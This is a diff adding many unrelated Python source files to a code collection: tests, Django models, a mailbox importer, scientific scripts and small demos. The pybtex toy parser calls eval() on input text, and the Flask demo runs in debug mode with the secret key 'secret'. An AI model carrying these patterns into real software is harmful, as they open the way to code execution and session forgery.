a/pool/shard000/Python/0008459_skeletoninit.py b/pool/shard000/Python/0008459_skeletoninit.py new file mode 100644 index 0000000000000000000000000000000000000000..4fdcf033a3dcc53731a9740a470228f667595473 --- /dev/null +++ b/pool/shard000/Python/0008459_skeletoninit.py @@ -0,0 +1,33 @@ +# This test should cover https://bugzilla.yoctoproject.org/tr_show_case.cgi?case_id=284 +# testcase. Image under test must have meta-skeleton layer in bblayers and +# IMAGE_INSTALL_append = " service" in local.conf +from oeqa.runtime.case import OERuntimeTestCase +from oeqa.core.decorator.depends import OETestDepends +from oeqa.core.decorator.oeid import OETestID +from oeqa.core.decorator.data import skipIfDataVar +from oeqa.runtime.decorator.package import OEHasPackage + +class SkeletonBasicTest(OERuntimeTestCase): + + @OETestDepends(['ssh.SSHTest.test_ssh']) + @OEHasPackage(['service']) + @skipIfDataVar('VIRTUAL-RUNTIME_init_manager', 'systemd', + 'Not appropiate for systemd image') + def test_skeleton_availability(self): + status, output = self.target.run('ls /etc/init.d/skeleton') + msg = 'skeleton init script not found. Output:\n%s' % output + self.assertEqual(status, 0, msg=msg) + + status, output = self.target.run('ls /usr/sbin/skeleton-test') + msg = 'skeleton-test not found. Output:\n%s' % output + self.assertEqual(status, 0, msg=msg) + + @OETestID(284) + @OETestDepends(['skeletoninit.SkeletonBasicTest.test_skeleton_availability']) + def test_skeleton_script(self): + output1 = self.target.run("/etc/init.d/skeleton start")[1] + cmd = '%s | grep [s]keleton-test' % self.tc.target_cmds['ps'] + status, output2 = self.target.run(cmd) + msg = ('Skeleton script could not be started:' + '\n%s\n%s' % (output1, output2)) + self.assertEqual(status, 0, msg=msg) diff --git a/pool/shard000/Python/0008464_test_httpd.py b/pool/shard000/Python/0008464_test_httpd.py new file mode 100644 index 0000000000000000000000000000000000000000..d71db6e33402763723be00f8f1c6fb0180f28d26 --- /dev/null +++ b/pool/shard000/Python/0008464_test_httpd.py @@ -0,0 +1,161 @@ +import json +import os +import tempfile + +import pytest +from cif import httpd +from cif.store import Store +from zmq.eventloop import ioloop + +from cifsdk.constants import PYVERSION + +ROUTER_ADDR = 'ipc://{}'.format(tempfile.NamedTemporaryFile().name) +router_loop = ioloop.IOLoop.instance() + +@pytest.fixture +def client(request): + httpd.app.config['TESTING'] = True + httpd.app.config['CIF_ROUTER_ADDR'] = ROUTER_ADDR + httpd.app.config['dummy'] = True + return httpd.app.test_client() + + +@pytest.fixture +def store(): + dbfile = tempfile.mktemp() + with Store(store_type='sqlite', dbfile=dbfile) as s: + yield s + + os.unlink(dbfile) + + +def test_httpd_help(client): + rv = client.get('/') + assert rv.status_code == 200 + + rv = client.get('/help') + assert rv.status_code == 200 + + +def test_httpd_ping(client): + rv = client.get('/ping') + assert rv.status_code == 401 + + rv = client.get('/ping', headers={'Authorization': 'Token token=1234'}) + assert rv.status_code == 200 + + +def test_httpd_confidence(client): + rv = client.get('/help/confidence') + assert rv.status_code == 200 + + rv = client.get('/help/confidence', headers={'Authorization': 'Token token=1234'}) + assert rv.status_code == 200 + + +def test_httpd_search(client): + rv = client.get('/search?q=example.com', headers={'Authorization': 'Token token=1234'}) + assert rv.status_code == 200 + + data = rv.data + if PYVERSION > 2: + data = data.decode('utf-8') + + rv = json.loads(data) + assert rv['data'][0]['indicator'] == 'example.com' + + +def test_httpd_indicators(client): + rv = client.get('/indicators?q=example.com', headers={'Authorization': 'Token token=1234'}) + assert rv.status_code == 200 + + data = rv.data + if PYVERSION > 2: + data = data.decode('utf-8') + + rv = json.loads(data) + assert rv['data'][0]['indicator'] == 'example.com' + + +def test_httpd_feed(client): + import arrow + httpd.app.config['feed'] = {} + httpd.app.config['feed']['data'] = [ + { + 'indicator': '128.205.1.1', + 'confidence': '8', + 'tags': ['malware'], + 'reporttime': str(arrow.utcnow()), + }, + { + 'indicator': '128.205.2.1', + 'confidence': '8', + 'tags': ['malware'], + 'reporttime': str(arrow.utcnow()), + }, + ] + httpd.app.config['feed']['wl'] = [ + { + 'indicator': '128.205.0.0/16', + 'confidence': '8', + 'tags': ['whitelist'], + 'reporttime': str(arrow.utcnow()), + }, + ] + + rv = client.get('/feed?itype=ipv4&confidence=7', headers={'Authorization': 'Token token=1234'}) + + assert rv.status_code == 200 + + r = json.loads(rv.data.decode('utf-8')) + assert len(r['data']) == 0 + +def test_httpd_feed_fqdn(client): + import arrow + httpd.app.config['feed'] = {} + httpd.app.config['feed']['data'] = [ + { + 'indicator': 'page-test.weebly.com', + 'confidence': '8', + 'tags': ['malware'], + 'reporttime': str(arrow.utcnow()), + }, + { + 'indicator': 'example.com', + 'confidence': '8', + 'tags': ['malware'], + 'reporttime': str(arrow.utcnow()), + }, + { + 'indicator': 'test.google.com', + 'confidence': '8', + 'tags': ['malware'], + 'reporttime': str(arrow.utcnow()), + }, + { + 'indicator': 'test.test.ex.com', + 'confidence': '8', + 'tags': ['malware'], + 'reporttime': str(arrow.utcnow()), + }, + ] + httpd.app.config['feed']['wl'] = [ + { + 'indicator': 'ex.com', + 'confidence': '8', + 'tags': ['whitelist'], + 'reporttime': str(arrow.utcnow()), + }, + ] + + rv = client.get('/feed?itype=fqdn&confidence=7', headers={'Authorization': 'Token token=1234'}) + + assert rv.status_code == 200 + + r = json.loads(rv.data.decode('utf-8')) + assert len(r['data']) == 1 + + +def test_httpd_tokens(client): + rv = client.get('/tokens', headers={'Authorization': 'Token token=1234'}) + assert rv.status_code == 200 \ No newline at end of file diff --git a/pool/shard000/Python/0008466_models.py b/pool/shard000/Python/0008466_models.py new file mode 100644 index 0000000000000000000000000000000000000000..c900a90eb151307eaa1600277c821f1b3de7b2e3 --- /dev/null +++ b/pool/shard000/Python/0008466_models.py @@ -0,0 +1,115 @@ +# -*- coding: UTF-8 -*- +# Copyright 2011-2016 Luc Saffre +# +# License: BSD (see file COPYING for details) + +""" +The :xfile:`models.py` module for `lino_xl.lib.inbox`. +""" + + +import logging +logger = logging.getLogger(__name__) + + +from lino.api import dd, rt + +import mailbox +import email.errors +from django.core.exceptions import ObjectDoesNotExist + +class comment_email(): + + @classmethod + def gen_subject(cls, comment,user): + s = "{comment_id}:{user}" + f = s.format(comment_id=comment.id, user=user.username) + print f + return f + @classmethod + def parse_subject(self, subject_str): + try: + comment, user = subject_str.split(":") + except ValueError: + return None, None + #would like to return rows + try: + comment = rt.models.comments.Comment.objects.get(pk=comment) + except ObjectDoesNotExist: + comment = None + try: + user = rt.models.users.User.objects.get(username=user) + except ObjectDoesNotExist: + user = None + return comment, user + + @classmethod + def gen_href(cls,comment,user): + # mailto:ADDR@HOST.com?subject=SUBJECT&body=Filling%20in%20the%20Body!%0D%0Afoo%0D%0Abar + href = "mailto:{addr}?subject={subject}".format(addr=dd.plugins.inbox.comment_reply_addr, + subject=cls.gen_subject(comment,user)) + return href + + @classmethod + def read_comment_emails(cls, mbox): + """ + reads mbox for emails and adds valid comment-reply emails into the database + if fails to add, adds to fail-box. + + For email replys to comments only, + + use the subject: + :param mbox: + :return: + """ + if mbox is None: + return + m = mailbox.mbox(mbox) + m.lock() + fail = mailbox.mbox(mbox + ".failed") + fail.lock() + processed = mailbox.mbox(mbox + ".processed") + processed.lock() + try: + for key in m.iterkeys(): + try: + message = m[key] + comment, user = cls.parse_subject(message.get("subject")) + if comment is None or user is None: + key = fail.add(message) + fail.flush() + m.discard(key) + m.flush() + logger.info("Failed to add comment-reply-email {subject} key:{key} added to ".format(subject=message.get("subject"), key=key) + fail._file.name) + continue + new_comment = rt.models.comments.Comment() + new_comment.owner = comment.owner + new_comment.reply_to = comment + new_comment.user = user + new_comment.short_text = message.get_payload() + new_comment.full_clean() + new_comment.save() + key = processed.add(message) + logger.info("New comment {} via email key: {}".format(new_comment.id,key)) + processed.flush() + m.discard(key) + m.flush() + except Exception as e: + key = fail.add(message) + fail.flush() + logger.exception("Failed to add comment-reply-email {subject} key:{key} added to ".format(subject=message.get("subject"), key=key) + fail._file.name) + m.discard(key) + m.flush() + except Exception as e: + raise e + finally: + for b in (m, fail, processed): + b.flush() + b.unlock() + b.close() + + +@dd.schedule_often(10) +def check_mail_boxes(): + comment_email.read_comment_emails(dd.plugins.inbox.mbox_path) + diff --git a/pool/shard000/Python/0008467_toyplugins.py b/pool/shard000/Python/0008467_toyplugins.py new file mode 100644 index 0000000000000000000000000000000000000000..1dd1f7a29e10e855cf51c3c75c2df8a1193c0a2e --- /dev/null +++ b/pool/shard000/Python/0008467_toyplugins.py @@ -0,0 +1,51 @@ +# Copyright (c) 2011, 2012 Andrey Golovizin +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +"""Sample Pybtex plugins.""" + + +import imp + +from pybtex.database.output import BaseWriter +from pybtex.database.input import BaseParser +from pybtex.database import BibliographyData +from pybtex.database import Entry, Person + + +class PythonWriter(BaseWriter): + """Bibliography output plugin which formats the data as Python code.""" + + def write_stream(self, bib_data, stream): + print >>stream, repr(bib_data) + + +class PythonParser(BaseParser): + """Bibliography parser plugin which loads the data from Python code.""" + + def parse_stream(self, stream): + context = { + 'BibliographyData': BibliographyData, + 'Entry': Entry, + 'Person': Person, + } + code = stream.read() + self.data = eval(code, context) diff --git a/pool/shard000/Python/0008470_feed_parse_extractThewebnovelhavenWordpressCom.py b/pool/shard000/Python/0008470_feed_parse_extractThewebnovelhavenWordpressCom.py new file mode 100644 index 0000000000000000000000000000000000000000..c96c525b5744b2ded31a84b3622b4647dd3f76ee --- /dev/null +++ b/pool/shard000/Python/0008470_feed_parse_extractThewebnovelhavenWordpressCom.py @@ -0,0 +1,22 @@ + +def extractThewebnovelhavenWordpressCom(item): + ''' + Parser for 'thewebnovelhaven.wordpress.com' + ''' + + vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) + if not (chp or vol) or "preview" in item['title'].lower(): + return None + + tagmap = [ + ('PRC', 'PRC', 'translated'), + ('Loiterous', 'Loiterous', 'oel'), + ] + + for tagname, name, tl_type in tagmap: + if tagname in item['tags']: + return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type) + + + return False + \ No newline at end of file diff --git a/pool/shard000/Python/0008471_leetcode.244.shortest-word-distance-ii.py b/pool/shard000/Python/0008471_leetcode.244.shortest-word-distance-ii.py new file mode 100644 index 0000000000000000000000000000000000000000..cd195e5a7d66d7423345ab6d08908faf6ff37729 --- /dev/null +++ b/pool/shard000/Python/0008471_leetcode.244.shortest-word-distance-ii.py @@ -0,0 +1,43 @@ +class WordDistance(object): + def __init__(self, words): + """ + initialize your data structure here. + :type words: List[str] + """ + self.d = {} + for i,word in enumerate(words): + if word not in self.d: + self.d[word] = [i] + else: + self.d[word].append(i) + + def shortest(self, word1, word2): + """ + Adds a word into the data structure. + :type word1: str + :type word2: str + :rtype: int + """ + l1 = self.d[word1] + l2 = self.d[word2] + minDist = abs(l1[0] - l2[0]) + i,j = 0,0 + len1 = len(l1) + len2 = len(l2) + while i < len1 and j < len2: + minDist = min(minDist, abs(l1[i] - l2[j])) + if minDist == 1: + break + if l1[i] < l2[j]: + i += 1 + else: + j += 1 + return minDist + + + + +# Your WordDistance object will be instantiated and called as such: +# wordDistance = WordDistance(words) +# wordDistance.shortest("word1", "word2") +# wordDistance.shortest("anotherWord1", "anotherWord2") \ No newline at end of file diff --git a/pool/shard000/Python/0008480_app.py b/pool/shard000/Python/0008480_app.py new file mode 100644 index 0000000000000000000000000000000000000000..6dcf9ff15f28bbb741aeadb604a92e642b188deb --- /dev/null +++ b/pool/shard000/Python/0008480_app.py @@ -0,0 +1,35 @@ +from flask import Flask, render_template, request + +from flaskext.wtf import Form, FileField, FieldList, required + +class FileUploadForm(Form): + + uploads = FieldList(FileField()) + + +DEBUG = True +SECRET_KEY = 'secret' + +app = Flask(__name__) +app.config.from_object(__name__) + +@app.route("/", methods=("GET", "POST",)) +def index(): + + form = FileUploadForm() + for i in xrange(5): + form.uploads.append_entry() + + filedata = [] + + if form.validate_on_submit(): + for upload in form.uploads.entries: + filedata.append(upload) + + return render_template("index.html", + form=form, + filedata=filedata) + + +if __name__ == "__main__": + app.run() diff --git a/pool/shard000/Python/0008483_expression.py b/pool/shard000/Python/0008483_expression.py new file mode 100644 index 0000000000000000000000000000000000000000..5b5c9b37b5468cdb56cada9bbfd7f03259c7b800 --- /dev/null +++ b/pool/shard000/Python/0008483_expression.py @@ -0,0 +1,33 @@ +class Expression(object): + + sql = None + field = None + alias = None + + + def __init__(self, field, alias=None): + self.field = field + self.alias = alias + + + def validate_as_field(self, sql): + self.sql = sql + sql.validate_field_name(self.field) + + + def validate_as_filter(self, sql): + self.sql = sql + sql.validate_filter_field_name(self.field) + + + def get_data(self): + return [] + + + def __str__(self): + return '' + + + @property + def data(self): + return self.get_data() diff --git a/pool/shard000/Python/0008486_test_forms.py b/pool/shard000/Python/0008486_test_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..2139d9046b7198fa08a44d4ca3fea8efd583c967 --- /dev/null +++ b/pool/shard000/Python/0008486_test_forms.py @@ -0,0 +1,61 @@ +# -*- coding: utf-8 -*- +import pytest + +from rymate_blog.public.forms import LoginForm +from rymate_blog.user.forms import RegisterForm +from .factories import UserFactory + +class TestRegisterForm: + + def test_validate_user_already_registered(self, user): + # Enters username that is already registered + form = RegisterForm(username=user.username, email='foo@bar.com', + password='example', confirm='example') + + assert form.validate() is False + assert 'Username already registered' in form.username.errors + + def test_validate_email_already_registered(self, user): + # enters email that is already registered + form = RegisterForm(username='unique', email=user.email, + password='example', confirm='example') + + assert form.validate() is False + assert 'Email already registered' in form.email.errors + + def test_validate_success(self, db): + form = RegisterForm(username='newusername', email='new@test.test', + password='example', confirm='example') + assert form.validate() is True + + +class TestLoginForm: + + def test_validate_success(self, user): + user.set_password('example') + user.save() + form = LoginForm(username=user.username, password='example') + assert form.validate() is True + assert form.user == user + + def test_validate_unknown_username(self, db): + form = LoginForm(username='unknown', password='example') + assert form.validate() is False + assert 'Unknown username' in form.username.errors + assert form.user is None + + def test_validate_invalid_password(self, user): + user.set_password('example') + user.save() + form = LoginForm(username=user.username, password='wrongpassword') + assert form.validate() is False + assert 'Invalid password' in form.password.errors + + def test_validate_inactive_user(self, user): + user.active = False + user.set_password('example') + user.save() + # Correct username and password, but user is not activated + form = LoginForm(username=user.username, password='example') + assert form.validate() is False + assert 'User not activated' in form.username.errors \ No newline at end of file diff --git a/pool/shard000/Python/0008487_digraph_dfs_topological.py b/pool/shard000/Python/0008487_digraph_dfs_topological.py new file mode 100644 index 0000000000000000000000000000000000000000..e894899128452768fdb85bdf9a2b3a061caa2467 --- /dev/null +++ b/pool/shard000/Python/0008487_digraph_dfs_topological.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python +# +# Created by Samvel Khalatyan on Mar 22, 2014 +# Copyright (c) 2014 Samvel Khalatyan. All rights reserved +# +# Use of this source code is governed by a license that can be found in +# the LICENSE file. + +import sys + +from lib import digraph +from lib import cycles +from lib import order + +def usage(): + print("usage:", sys.argv[0], "digraph.txt") + print() + print("print DFS vertex in a digraph with post-order") + +if "__main__" == __name__: + if 2 > len(sys.argv): + usage() + else: + graph = digraph.load(sys.argv[1]) + cycle = cycles.Dicycle(graph) + if cycle.has_cycle(): + print("only Directional Acyclic Graphs can be processed") + else: + order_ = order.DepthFirstOrder(graph) + print('->'.join(str(x) for x in order_.reverse_post())) diff --git a/pool/shard000/Python/0008488_mne_clean_eog_ecg.py b/pool/shard000/Python/0008488_mne_clean_eog_ecg.py new file mode 100644 index 0000000000000000000000000000000000000000..7f7d6c721735f26ce8dad40cbb47c96d397a8acc --- /dev/null +++ b/pool/shard000/Python/0008488_mne_clean_eog_ecg.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python +"""Clean a raw file from EOG and ECG artifacts with PCA (ie SSP) +""" +from __future__ import print_function + +# Authors : Dr Engr. Sheraz Khan, P.Eng, Ph.D. +# Engr. Nandita Shetty, MS. +# Alexandre Gramfort, Ph.D. + + +import sys + +import mne + + +def clean_ecg_eog(in_fif_fname, out_fif_fname=None, eog=True, ecg=True, + ecg_proj_fname=None, eog_proj_fname=None, + ecg_event_fname=None, eog_event_fname=None, in_path='.', + quiet=False): + """Clean ECG from raw fif file + + Parameters + ---------- + in_fif_fname : string + Raw fif File + eog_event_fname : string + name of EOG event file required. + eog : bool + Reject or not EOG artifacts. + ecg : bool + Reject or not ECG artifacts. + ecg_event_fname : string + name of ECG event file required. + in_path : + Path where all the files are. + """ + if not eog and not ecg: + raise Exception("EOG and ECG cannot be both disabled") + + # Reading fif File + raw_in = mne.io.Raw(in_fif_fname) + + if in_fif_fname.endswith('_raw.fif') or in_fif_fname.endswith('-raw.fif'): + prefix = in_fif_fname[:-8] + else: + prefix = in_fif_fname[:-4] + + if out_fif_fname is None: + out_fif_fname = prefix + '_clean_ecg_eog_raw.fif' + if ecg_proj_fname is None: + ecg_proj_fname = prefix + '_ecg-proj.fif' + if eog_proj_fname is None: + eog_proj_fname = prefix + '_eog-proj.fif' + if ecg_event_fname is None: + ecg_event_fname = prefix + '_ecg-eve.fif' + if eog_event_fname is None: + eog_event_fname = prefix + '_eog-eve.fif' + + print('Implementing ECG and EOG artifact rejection on data') + + kwargs = dict() if quiet else dict(stdout=None, stderr=None) + if ecg: + ecg_events, _, _ = mne.preprocessing.find_ecg_events(raw_in) + print("Writing ECG events in %s" % ecg_event_fname) + mne.write_events(ecg_event_fname, ecg_events) + print('Computing ECG projector') + command = ('mne_process_raw', '--cd', in_path, '--raw', in_fif_fname, + '--events', ecg_event_fname, '--makeproj', + '--projtmin', '-0.08', '--projtmax', '0.08', + '--saveprojtag', '_ecg-proj', '--projnmag', '2', + '--projngrad', '1', '--projevent', '999', '--highpass', '5', + '--lowpass', '35', '--projmagrej', '4000', + '--projgradrej', '3000') + mne.utils.run_subprocess(command, **kwargs) + if eog: + eog_events = mne.preprocessing.find_eog_events(raw_in) + print("Writing EOG events in %s" % eog_event_fname) + mne.write_events(eog_event_fname, eog_events) + print('Computing EOG projector') + command = ('mne_process_raw', '--cd', in_path, '--raw', in_fif_fname, + '--events', eog_event_fname, '--makeproj', + '--projtmin', '-0.15', '--projtmax', '0.15', + '--saveprojtag', '_eog-proj', '--projnmag', '2', + '--projngrad', '2', '--projevent', '998', '--lowpass', '35', + '--projmagrej', '4000', '--projgradrej', '3000') + mne.utils.run_subprocess(command, **kwargs) + + if out_fif_fname is not None: + # Applying the ECG EOG projector + print('Applying ECG EOG projector') + command = ('mne_process_raw', '--cd', in_path, '--raw', in_fif_fname, + '--proj', in_fif_fname, '--projoff', '--save', + out_fif_fname, '--filteroff', + '--proj', ecg_proj_fname, '--proj', eog_proj_fname) + mne.utils.run_subprocess(command, **kwargs) + print('Done removing artifacts.') + print("Cleaned raw data saved in: %s" % out_fif_fname) + print('IMPORTANT : Please eye-ball the data !!') + else: + print('Projection not applied to raw data.') + + +def run(): + from mne.commands.utils import get_optparser + + parser = get_optparser(__file__) + + parser.add_option("-i", "--in", dest="raw_in", + help="Input raw FIF file", metavar="FILE") + parser.add_option("-o", "--out", dest="raw_out", + help="Output raw FIF file", metavar="FILE", + default=None) + parser.add_option("-e", "--no-eog", dest="eog", action="store_false", + help="Remove EOG", default=True) + parser.add_option("-c", "--no-ecg", dest="ecg", action="store_false", + help="Remove ECG", default=True) + parser.add_option("-q", "--quiet", dest="quiet", action="store_true", + help="Suppress mne_process_raw output", default=False) + + options, args = parser.parse_args() + + if options.raw_in is None: + parser.print_help() + sys.exit(1) + + raw_in = options.raw_in + raw_out = options.raw_out + eog = options.eog + ecg = options.ecg + quiet = options.quiet + + clean_ecg_eog(raw_in, raw_out, eog=eog, ecg=ecg, quiet=quiet) + + +is_main = (__name__ == '__main__') +if is_main: + run() diff --git a/pool/shard000/Python/0008492_models.py b/pool/shard000/Python/0008492_models.py new file mode 100644 index 0000000000000000000000000000000000000000..4655ee19c2e37dbfc9b696acf3632e6cf4845c28 --- /dev/null +++ b/pool/shard000/Python/0008492_models.py @@ -0,0 +1,91 @@ +# -*- coding: utf-8 -*- +from django.db import models +from django.utils import timezone + + +class Ciudad(models.Model): + REGIONES = ( + ('I','Tarapaca'), + ('II','Antofagasta'), + ('III','Atacama'), + ('IV','Coquimbo'), + ('V','Valparaiso'), + ('VI',"O Higgins"), + ('VII','Maule'), + ('VIII','Bio-Bio'), + ('IX','La Araucania'), + ('X','Los Lagos'), + ('XI','Aysen'), + ('XII','Magallanes'), + ('RM','Metropolitana'), + ('XIV','Los Rios'), + ('XV','Arica y parinacota'), + ) + nombre = models.CharField(max_length=100) + habitantes = models.IntegerField() + region = models.CharField(max_length=10, choices=REGIONES) + clima = models.CharField(max_length=100) + url = models.CharField(max_length=100,default="") + imagen = models.ImageField(null=True,blank=True) + descripcion = models.CharField(max_length=600,default="") + static_img = models.CharField(max_length=30,default="") + ciudad_padre = models.ForeignKey('self',blank=True,null=True,default=None) + activado = models.BooleanField(default=True) + lat = models.CharField(max_length=25, default='', null=True) + lon = models.CharField(max_length=25, default='', null=True) + nombre_simple = models.CharField(max_length=120, default='',null=True) + + def __unicode__(self): + return self.nombre + +class Categoria(models.Model): + nombre = models.CharField(max_length=100) + icono = models.ImageField(null=True,blank=True) + background = models.ImageField(null=True,blank=True) + href = models.CharField(max_length=40, default="") + def __unicode__(self): + return self.nombre + +class Indicador(models.Model): + variable = models.CharField(max_length=100) + descripcion = models.CharField(max_length=1500) + unidad_medida = models.CharField(max_length=100,blank=True,null=True,default='') + estado = models.CharField(max_length=10) #provisorio + categoria = models.ForeignKey(Categoria) + descripcion_corta=models.CharField(max_length=250,blank=True,null=True,default='') + metodo=models.CharField(max_length=1500,blank=True,null=True,default='') + icono = models.ImageField(null=True,blank=True) + activado = models.BooleanField(default=True) + def __unicode__(self): + return self.categoria.nombre + ' - ' +self.variable + +class Dato(models.Model): + ciudad = models.ForeignKey(Ciudad) + indicador = models.ForeignKey(Indicador) + var_float = models.FloatField(null=True,blank=True) + creado = models.DateTimeField(null=True,blank=True,editable=False) + modificado = models.DateTimeField(null=True,editable=False) + fecha_indicador = models.DateTimeField() + def save(self, *args, **kwargs): + if not self.id: + self.created = timezone.now() + self.modified = timezone.now() + return super(Dato,self).save(*args, **kwargs) + def __unicode__(self): + return self.ciudad.nombre + ' - ' + self.indicador.variable + ' - ' + str(self.var_float or 'Sin Dato') + +class Umbral(models.Model): + TIPO = ( + ('max','Valor maximo es el mejor'), + ('min','Valor minimo es el mejor'), + ('center','Valor central es el mejor'), + ) + tipo = models.CharField(max_length=6, choices=TIPO) + indicador = models.OneToOneField(Indicador) + lim1 = models.FloatField() + lim2 = models.FloatField() + lim3 = models.FloatField() + lim4 = models.FloatField(null=True, blank=True) + + def __unicode__(self): + return self.tipo + ' - ' + self.indicador.variable diff --git a/pool/shard000/Python/0008495_matchmaker_redis.py b/pool/shard000/Python/0008495_matchmaker_redis.py new file mode 100644 index 0000000000000000000000000000000000000000..decf9fed353662b32f540a95660ecf8da907740c --- /dev/null +++ b/pool/shard000/Python/0008495_matchmaker_redis.py @@ -0,0 +1,144 @@ +# Copyright 2013 Cloudscaling Group, Inc +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +""" +The MatchMaker classes should accept a Topic or Fanout exchange key and +return keys for direct exchanges, per (approximate) AMQP parlance. +""" + +from oslo.config import cfg + +from ceilometer.openstack.common import importutils +from ceilometer.openstack.common import log as logging +from ceilometer.openstack.common.rpc import matchmaker as mm_common + +redis = importutils.try_import('redis') + + +matchmaker_redis_opts = [ + cfg.StrOpt('host', + default='127.0.0.1', + help='Host to locate redis'), + cfg.IntOpt('port', + default=6379, + help='Use this port to connect to redis host.'), + cfg.StrOpt('password', + default=None, + help='Password for Redis server. (optional)'), +] + +CONF = cfg.CONF +opt_group = cfg.OptGroup(name='matchmaker_redis', + title='Options for Redis-based MatchMaker') +CONF.register_group(opt_group) +CONF.register_opts(matchmaker_redis_opts, opt_group) +LOG = logging.getLogger(__name__) + + +class RedisExchange(mm_common.Exchange): + def __init__(self, matchmaker): + self.matchmaker = matchmaker + self.redis = matchmaker.redis + super(RedisExchange, self).__init__() + + +class RedisTopicExchange(RedisExchange): + """Exchange where all topic keys are split, sending to second half. + + i.e. "compute.host" sends a message to "compute" running on "host" + """ + def run(self, topic): + while True: + member_name = self.redis.srandmember(topic) + + if not member_name: + # If this happens, there are no + # longer any members. + break + + if not self.matchmaker.is_alive(topic, member_name): + continue + + host = member_name.split('.', 1)[1] + return [(member_name, host)] + return [] + + +class RedisFanoutExchange(RedisExchange): + """Return a list of all hosts.""" + def run(self, topic): + topic = topic.split('~', 1)[1] + hosts = self.redis.smembers(topic) + good_hosts = filter( + lambda host: self.matchmaker.is_alive(topic, host), hosts) + + return [(x, x.split('.', 1)[1]) for x in good_hosts] + + +class MatchMakerRedis(mm_common.HeartbeatMatchMakerBase): + """MatchMaker registering and looking-up hosts with a Redis server.""" + def __init__(self): + super(MatchMakerRedis, self).__init__() + + if not redis: + raise ImportError("Failed to import module redis.") + + self.redis = redis.Redis( + host=CONF.matchmaker_redis.host, + port=CONF.matchmaker_redis.port, + password=CONF.matchmaker_redis.password) + + self.add_binding(mm_common.FanoutBinding(), RedisFanoutExchange(self)) + self.add_binding(mm_common.DirectBinding(), mm_common.DirectExchange()) + self.add_binding(mm_common.TopicBinding(), RedisTopicExchange(self)) + + def ack_alive(self, key, host): + topic = "%s.%s" % (key, host) + if not self.redis.expire(topic, CONF.matchmaker_heartbeat_ttl): + # If we could not update the expiration, the key + # might have been pruned. Re-register, creating a new + # key in Redis. + self.register(self.topic_host[host], host) + + def is_alive(self, topic, host): + if self.redis.ttl(host) == -1: + self.expire(topic, host) + return False + return True + + def expire(self, topic, host): + with self.redis.pipeline() as pipe: + pipe.multi() + pipe.delete(host) + pipe.srem(topic, host) + pipe.execute() + + def backend_register(self, key, key_host): + with self.redis.pipeline() as pipe: + pipe.multi() + pipe.sadd(key, key_host) + + # No value is needed, we just + # care if it exists. Sets aren't viable + # because only keys can expire. + pipe.set(key_host, '') + + pipe.execute() + + def backend_unregister(self, key, key_host): + with self.redis.pipeline() as pipe: + pipe.multi() + pipe.srem(key, key_host) + pipe.delete(key_host) + pipe.execute() diff --git a/pool/shard000/Python/0008508_generate_weemoji.py b/pool/shard000/Python/0008508_generate_weemoji.py new file mode 100644 index 0000000000000000000000000000000000000000..a2739636c5a3a549a3b47f68e3d08b92f9bf9fcd --- /dev/null +++ b/pool/shard000/Python/0008508_generate_weemoji.py @@ -0,0 +1,21 @@ +#!/usr/bin/python + +import json +import sys + +all_emojis = json.loads(sys.stdin.read()) + + +def convert_unicode_string(emoji_dict): + for k, v in emoji_dict.items(): + if k == "unicode": + emoji_dict[k] = "".join([chr(int(x, 16)) for x in v.split("-")]) + if type(v) == dict: + convert_unicode_string(v) + + +convert_unicode_string(all_emojis) + +with open("weemoji.json", "w") as weemoji: + json.dump(all_emojis, weemoji, indent=2, sort_keys=True) + weemoji.write("\n") diff --git a/pool/shard000/Python/0008512_DONE_extract_thermal_slopes.py b/pool/shard000/Python/0008512_DONE_extract_thermal_slopes.py new file mode 100644 index 0000000000000000000000000000000000000000..d218d81fde718dd565c1d8caf01735490d7dfb21 --- /dev/null +++ b/pool/shard000/Python/0008512_DONE_extract_thermal_slopes.py @@ -0,0 +1,235 @@ +import re +import os +import sys +from Bio import Seq +from Bio import SeqIO +from Bio import SeqUtils +import pandas as pd +import numpy as np +from functools import partial +import time +from scipy import stats as st + +from multiprocessing import Pool + +# for plotting ... +import matplotlib.pyplot as plt +import matplotlib as mpl +font = {'family' : 'sans-serif', + #'weight' : 'bold', + 'size' :9} +mpl.rc('font', **font) +# data lopading ... + + + +root_path = os.path.expanduser('~') +bact_path = os.path.join(root_path,'GENOMES_BACTER_RELEASE69/genbank') +arch_path = os.path.join(root_path,'GENOMES_ARCH_SEP2015') + +# SOME ARCHAEAL DATA ... +arch = pd.read_csv(os.path.join(arch_path,'summary_organisms_interest.dat')) +arch_nohalo = pd.read_csv(os.path.join(arch_path,'summary_organisms_interest_no_halop.dat')) + +# SOME BACTERIAL DATA ... +# complete genomes only ... +bact = pd.read_csv(os.path.join(bact_path,'env_catalog_compgenome.dat')) + +############################################### +# complete_CDS_CAI_DNA.dat same thing ... +arch_cai_fname = os.path.join(arch_path,"complete_arch_CDS_CAI_DNA.dat") +bact_cai_fname = os.path.join(bact_path,"complete_CDS_CAI_DNA.dat") + +arch_cai = pd.read_csv(arch_cai_fname) 